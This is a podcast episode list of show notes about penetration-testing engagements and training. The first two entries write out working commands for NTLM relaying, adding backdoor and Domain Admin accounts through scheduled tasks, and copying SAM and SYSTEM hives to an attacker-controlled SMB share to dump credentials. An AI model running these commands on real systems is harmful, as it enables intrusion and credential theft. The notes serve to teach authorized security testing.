7MS #397: OPSEC Tips for Security Consultants

Happy Friday! Today’s another hot pile of pentest pwnage. To make it easy on myself I’m going to share the whole narrative that I wrote up for someone else: I was on a pentest where a DA account would sweep the networks every few minutes over SMB and hit my box. But SMB signing was on literally everywhere. The fine folks here recommended I try relaying to something NOT SMB, like MSSQL. This article had good context on that: https://www.guidepointsecurity.com/blog/beyond-the-basics-exploring-uncommon-ntlm-relay-attack-techniques/. I relayed the DA account to a SQL box that BloodHound said had a “session” from another DA. One part I can’t explain is the first relay got me a shell in the context of NT SERVICE\MSSQLSERVER. That shell broke for some reason while I was sleeping that night, and the next relay landed as NT AUTHORITY\SYSTEM (!). The net command would let me add a new user, but BLOCK me trying to make that new user a local admin. However, a scheduled task did the trick: xp_cmdshell schtasks /create /tn "Maintenance" /tr "net local group administrators backdoor /add" /sc once /st 12:00 /ru SYSTEM /f and then xp_cmdshell schtasks /run /tn "Maintenance". Turns out a DA wasn’t interactively logged in, but a DA account was configured to run a specific service. I learned those goodies are stored in LSA, so the next move was to use my local admin account to RDP in to the victim and create a shadow copy. That part went fine, but for the life of me I couldn’t copy reg hives out of it – EDR was unhappy. In the end, the bizarre combo of things that did the trick was: Setup smbserver.py with username/password auth on my attacking box: smbserver.py -smb2support share . -username toteslegit -password 'DontMindMeLOL!' From the victim system, I did an mklink to the shadow copy: mklink /d C:\tempbackup \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy123\ From command prompt on the victim system, I authenticated to my rogue share: net use \\ATTACKER_IP\share /user:toteslegit DontMindMeLOL! Then I did a copy command for the first hive: copy SYSTEM \\my.attackingip\sys.test. EDR would kill this cmd.exe box IMMEDIATELY. However….the copy completed! I repeated this process to get SAM copied over as sam.test. Again, EDR nuked the cmd.exe window but copy completed!!!111!!!!! Finishing move: secretsdump -sam sam.test -system sys.test LOCAL

12 Sep 32min

Holy schnikes, today might be my favorite tale of pentest pwnage ever. Do I say that almost every episode? yes. Do I mean it? Yes. Here are all the commands/links to supplement today’s episode: Got an SA account to a SQL server through Snaffler-ing With that SA account, I learned how to coerce Web auth from within a SQL shell – read more about that here I relayed that Web auth with ntlmrelayx -smb2support -t ldap://dc --delegate-access --escalate-user lowpriv I didn’t have a machine account under my control, so I did SPNless RBCD on my lowpriv account – read more about that here Using that technique, I requested a host service ticket for the SQL box, then used evil-winrm to remote in using the ticket From there I checked out who had interactive logons: Get-Process -IncludeUserName explorer | Select-Object UserName Then I queued up a fake task to elevate me to DA: schtasks /create /tn "TotallyFineTask" /tr 'net group "Domain Admins" lowpriv /add /domain' /sc once /st 12:00 /ru "DOMAIN\a-domain-admin" /it /f …and ran it: schtasks /run /tn "TotallyFineTask"

5 Sep 31min

Today’s tale of pentest pwnage is a classic case of “If your head is buried in the pentest sand, pop it out for a while, touch grass, and re-enumerate what you’ve already enumerated, because that can lead to absolute GOLD!”

29 Aug 21min

Hello friends!  Today your friend and mine, Joe “The Machine” Skeen joins me as we keep chipping away at pwning Ninja Hacker Academy!  Today’s pwnage includes: “Upgrading” our Sliver C2 connection to a full system shell using PrintSpoofer! Abusing nanodump to do an lsass minidump….and find our first cred. Analyzing BloodHound data to find (and own) excessive permissions against Active Directory objects

22 Aug 15min

Today I talk about a subject I love while also driving me crazy at the same time: building a pentest training course! Specifically, I dissect a fun/frustrating GPO attack that I need to build very carefully so that every student can pwn it while also not breaking the domain for everybody else. I also talk about how three different flavors of AI failed me in solving a simple task.

16 Aug 22min

Hi friends, we’re doing something today we haven’t done in a hot minute: take a dip into the 7MinSec mail bag! Today we cover these questions: If I’m starting a solo business venture as a security consultancy, is it a good idea to join forces with other solo security business owners and form a consortium of sorts? Have you ever had anything go catastrophically wrong during a pentest?  Yes, and this is an important link in the story: https://github.com/fortra/impacket/issues/1436 What ever happened with the annoying apartment neighbor who stomped around like a rhino when you made any noise during COVID? What happened to the “difficult family situation” you vaguely talked about a few months ago that involved police and lawyers – did that ever get resolved?

11 Aug 57min

Oh man, I’m so excited I can hardly sleep. Our new three-day (4 hours per day) training is getting closer to general release. I talk about the good/bad/ugly of putting together an attack-sensitive lab that students can abuse (but hopefully not break!), and the technical/curriculum-writing challenges that go along with it.

1 Aug 23min

Today’s kind of a “story time with your friend Brian” episode: a tale of how my neighbor almost got scammed out of $13k.  The story has a lot of red flags we can all keep in mind to keep ourselves (as well as kids/friends/parents/etc.) safer from these types of shenanigans.

25 Jul 22min